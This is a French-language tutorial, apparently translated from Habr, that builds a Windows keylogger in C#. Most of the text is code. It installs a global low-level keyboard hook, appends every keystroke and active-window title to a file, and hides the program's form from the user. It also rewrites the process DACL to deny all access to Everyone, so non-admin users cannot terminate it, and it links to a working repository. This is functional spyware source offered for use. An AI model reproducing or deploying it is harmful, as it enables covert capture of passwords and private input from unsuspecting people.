Enregistreur de frappe pour Windows avec changement de droits dans DACL

Ici, nous considérerons la création de Keylogger basé sur .Net C # avec des appels aux fonctions système. Les fonctions système elles-mêmes sont brièvement décrites, mais il est préférable de lire la documentation officielle de Microsoft. Le lien vers le référentiel avec l'assembly de travail est donné à la fin, ainsi que le lien vers la documentation.

Ce qui sera mis en œuvre:

  • Journalisation de la saisie au clavier.
  • Journalisation de la fenêtre active.
  • Bloquer un processus d'un utilisateur sans privilèges d'administrateur.
  • Arrêt du processus par raccourci clavier.

Pour écrire, vous aurez besoin de C #, d'une connaissance de l'API Win et de Windows DACL.

Ainsi, nous analyserons plusieurs types de codes système qui seront nécessaires, chaque type sera stocké dans une énumération distincte.

Types de crochets.

public enum HookTypes { WH_CALLWNDPROC = 4, WH_CALLWNDPROCRET = 12, WH_KEYBOARD = 2, WH_KEYBOARD_LL = 13, WH_MOUSE = 7, WH_MOUSE_LL = 14, WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_FOREGROUNDIDLE = 11, WH_SYSMSGFILTER = 6, WH_GETMESSAGE = 3, WH_CBT = 5, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, } 

Pour intercepter tous les événements liés au clavier, vous avez besoin du type WH_KEYBOARD_LL . Tous les autres types de hooks nécessitent l'implémentation de DLL distinctes, à l'exception d'un autre hook WH_MOUSE_LL - événements liés à la souris.

Types d'événements associés au clavier, en appuyant et en relâchant une touche.

 public enum KeyboardEventTypes { WM_KEYDOWN = 0x0100, WM_KEYUP = 0x0101, } 

Nous enregistrerons les caractères saisis en relâchant la clé - WM_KEYUP .

Séparément, les types pour intercepter la transition d'un utilisateur d'une fenêtre d'application à une autre.

 public class WinEventTypes { public const uint WINEVENT_OUTOFCONTEXT = 0; public const uint EVENT_SYSTEM_FOREGROUND = 3; } 

Énumérer afin d'utiliser le raccourci clavier pour désactiver le programme.

 public enum CombineKeys { MOD_ALT = 0x1, MOD_CONTROL = 0x2, MOD_SHIFT = 0x4, MOD_WIN = 0x8, WM_HOTKEY = 0x0312, } 

Afin de mettre en œuvre tous les points, créez d'abord le formulaire et cachez-le à l'utilisateur. Il suffit de remplacer la méthode de base SetVisibleCore.

 protected override void SetVisibleCore(bool value) { base.SetVisibleCore(false); } 

Le formulaire sera lancé au démarrage du programme.

 Application.Run(HiddenForm); 

Il y a un formulaire et maintenant vous devez ajouter la fonction principale - intercepter la saisie au clavier. Nous utilisons la méthode Win API SetWindowsHookEx , les paramètres suivants seront passés:

  • Le type de crochet est WH_KEYBOARD_LL.
  • Fonction de rappel, c'est-à-dire la méthode qui doit gérer tous les événements liés au clavier.
  • ID du module actuel .
  • L'identifiant du thread est 0. Zéro pour que le crochet soit associé à tous les threads.

 internal IntPtr SetHook(HookTypes typeOfHook, HookProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWindowsHookEx((int)typeOfHook, callBack, GetModuleHandle(currentModule.ModuleName), 0); } } 

La méthode elle-même qui traite le crochet. Il a plusieurs paramètres, nCode - afin de comprendre s'il est nécessaire de traiter l'événement en cours ou de le transmettre immédiatement,
wParam - type d'événement (pression ou relâchement d'une touche), lParam - caractère actuellement pressé. En substance, lParam est un tableau d'octets, donc des informations supplémentaires y sont stockées, par exemple, le nombre de caractères si l'utilisateur détient la clé et la machine sur laquelle le traitement est effectué est lente.

 internal static IntPtr KeyLoggerHookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)KeyboardEventTypes.WM_KEYUP) { int vkCode = Marshal.ReadInt32(lParam); SetKeysState(); var saveText = GetSymbol((uint)vkCode); File.AppendAllText(_fileName, saveText); } return CallNextHookEx(HookId, nCode, wParam, lParam); } 

Cette implémentation écrit un caractère uniquement après que l'utilisateur a relâché la clé. Pour enregistrer le nombre de caractères, vous devez implémenter une casse de type WM_KEYDOWN .

La méthode SetKeysState est utilisée pour savoir quel état sont les clés supplémentaires, par exemple les clés qui affectent le cas.

 private static void SetKeysState() { _capsLock = GetKeyState((int)Keys.CapsLock) != 0; _numLock = GetKeyState((int)Keys.NumLock) != 0; _scrollLock = GetKeyState((int)Keys.Scroll) != 0; _shift = GetKeyState((int)Keys.ShiftKey) != 0; } 

GetKeyState est une autre méthode de l'API Win grâce à laquelle vous pouvez connaître l'état par le code clé.

 private static string GetSymbol(uint vkCode) { var buff = new StringBuilder(maxChars); var keyboardState = new byte[maxChars]; var keyboard = GetKeyboardLayout( GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero)); ToUnicodeEx(vkCode, 0, keyboardState, buff, maxChars, 0, (IntPtr)keyboard); var buffSymbol = buff.ToString(); var symbol = buffSymbol.Equals("\r") ? Environment.NewLine : buffSymbol; if (_capsLock ^ _shift) symbol = symbol.ToUpperInvariant(); return symbol; } 

Dans la méthode GetSymbol , le code de disposition du clavier GetKeyboardLayout pour la fenêtre en cours est d'abord demandé, puis ToUnicodeEx pour obtenir le caractère, les deux méthodes Win API. Si des touches affectant la casse sont impliquées, le caractère doit être converti en majuscules.

Ce sera suffisant pour enregistrer l'entrée du clavier. Mais pour enregistrer la fenêtre active actuelle, vous devez utiliser un autre hook.

 internal IntPtr SetWinHook(WinEventProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWinEventHook( WinEventTypes.EVENT_SYSTEM_FOREGROUND, WinEventTypes.EVENT_SYSTEM_FOREGROUND, GetModuleHandle(currentModule.ModuleName), callBack, 0, 0, WinEventTypes.WINEVENT_OUTOFCONTEXT); } } 

Le type EVENT_SYSTEM_FOREGROUND est nécessaire pour suivre les modifications dans la fenêtre active. Et WINEVENT_OUTOFCONTEXT indique que la méthode callBack est dans notre application.

La méthode passée à la chaîne de hook contient de nombreux paramètres qui peuvent être utiles dans une implémentation plus détaillée, dans ce cas il suffit de connaître la fenêtre active et son titre.

 internal static void ActiveWindowsHook( IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime) { File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}"); } 

Autrement dit, chaque événement de changement de fenêtre sera enregistré. Et dans GetActiveWindowTitle, il suffit d'utiliser quelques méthodes GetForegroundWindow de l' API Win - découvrez l'identifiant de la fenêtre active actuelle, après avoir demandé le titre à l'aide de GetWindowText .

 private static string GetActiveWindowTitle() { var buff = new StringBuilder(maxChars); var handle = GetForegroundWindow(); if (GetWindowText(handle, buff, maxChars) > 0) { return buff.ToString(); } return null; } 

Jusqu'à présent, tous les appels de fonction système ont été extraits des bibliothèques User32 et Kernel32 . L'étape suivante consiste à utiliser la bibliothèque advapi32 .

La troisième étape consiste à empêcher l'utilisateur moyen de terminer le processus d'enregistrement de l'entrée au clavier. Vous devez d'abord obtenir un descripteur de ce processus, puis le modifier en ajoutant une entrée à la DACL .

 internal void BlockForNotAdminUsers() { var hProcess = Process.GetCurrentProcess().Handle; var securityDescriptor = GetProcessSecurityDescriptor(hProcess); var sid = WindowsIdentity.GetCurrent().User.AccountDomainSid; securityDescriptor.DiscretionaryAcl.InsertAce( 0, new CommonAce( AceFlags.None, AceQualifier.AccessDenied, (int)ProcessAccessRights.PROCESS_ALL_ACCESS, new SecurityIdentifier(WellKnownSidType.WorldSid, sid), false, null)); SetProcessSecurityDescriptor(hProcess, securityDescriptor); } 

Le descripteur de processus est reçu via GetKernelObjectSecurity , la méthode est appelée deux fois, d'abord nous obtenons la longueur du descripteur, et le deuxième appel nous obtenons directement le descripteur de processus.

 private RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle) { var psd = new byte[0]; GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out uint bufSizeNeeded); if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue) throw new Win32Exception(); if (!GetKernelObjectSecurity( processHandle, DACL_SECURITY_INFORMATION, psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded)) throw new Win32Exception(); return new RawSecurityDescriptor(psd, 0); } 

Après avoir modifié le descripteur, vous devez saisir ces informations dans le processus en cours. Il suffit de passer l'identifiant et le descripteur du processus à la méthode système SetKernelObjectSecurity .

 private void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor securityDescriptor) { var rawsd = new byte[securityDescriptor.BinaryLength]; securityDescriptor.GetBinaryForm(rawsd, 0); if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd)) throw new Win32Exception(); } 

La dernière étape consiste à arrêter le processus à l'aide d'une combinaison de touches.

 internal static int SetHotKey(Keys key, IntPtr handle) { int modifiers = 0; if ((key & Keys.Alt) == Keys.Alt) modifiers |= (int)CombineKeys.MOD_ALT; if ((key & Keys.Control) == Keys.Control) modifiers |= (int)CombineKeys.MOD_CONTROL; if ((key & Keys.Shift) == Keys.Shift) modifiers |= (int)CombineKeys.MOD_SHIFT; Keys keys = key & ~Keys.Control & ~Keys.Shift & ~Keys.Alt; var keyId = key.GetHashCode(); RegisterHotKey(handle, keyId, modifiers, (int)keys); return keyId; } 

Ici, key est un raccourci clavier et handle est l' identifiant d'un formulaire masqué. Pour reconnaître la combinaison de touches sur le formulaire, keyId est créé, par lequel il est possible de vérifier le fonctionnement de la combinaison de touches. Et tout cela est écrit à travers la méthode Win API RegisterHotKey .

Et pour finalement arrêter le processus, nous redéfinissons la méthode WndProc dans le formulaire.

 protected override void WndProc(ref Message m) { if (m.Msg == (int)CombineKeys.WM_HOTKEY) { if ((int)m.WParam == KeyId) { UnregisterHotKey(Handle, KeyId); Application.Exit(); } } base.WndProc(ref m); } 

Liens utiles:

Lien vers le référentiel
Lien vers la documentation MS.

Source: https://habr.com/ru/post/fr482644/


All Articles